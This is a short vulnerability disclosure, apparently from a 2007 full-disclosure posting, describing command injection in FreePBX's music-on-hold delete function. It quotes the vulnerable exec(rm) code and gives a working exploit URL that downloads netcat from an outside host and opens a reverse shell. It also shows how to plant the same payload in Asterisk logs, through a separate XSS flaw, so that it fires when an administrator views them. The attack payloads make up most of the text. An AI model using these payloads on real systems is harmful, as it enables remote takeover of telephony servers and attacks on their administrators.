asterisk-inject.txt

`I've found a code injection in the music-on-hold module at freePBX's   
portal.  
  
There are Inssuficient filters in the delete functions. Only " '   
and ; are being filtered.  
  
Vulnerable Lines:  
300: $rmcmd="rm -f \"".$path_to_dir."/".   
$del."\"";  
301: exec($rmcmd);  
  
  
Example code:  
http://<freePBX-host>/admin/config.php?display=music&del=\`wget -q   
http://xenomuta.coolinc.info/nc -O /tmp/nc\`\`/tmp/nc   
myhost.mydomain.com 1234 -e /bin/sh\`&category=default  
  
  
You can inject this code without access to the portal into the /var/   
log/asterisk/full this way...  
./asteriskxss.php asterisk-server "<img src=\"/admin/config.php?   
display=music&del=\`wget -q http://xenomuta.coolinc.info/nc -O /tmp/nc   
\`\`/tmp/nc myhost.mydomain.com 1234 -e /bin/sh\`&category=default\">"  
hoping that an administrator to view the logs from the portals....   
using the documented XSS vulnerability posted here...  
  
http://lists.grok.org.uk/pipermail/full-disclosure/2007-April/   
053882.html  
  
  
`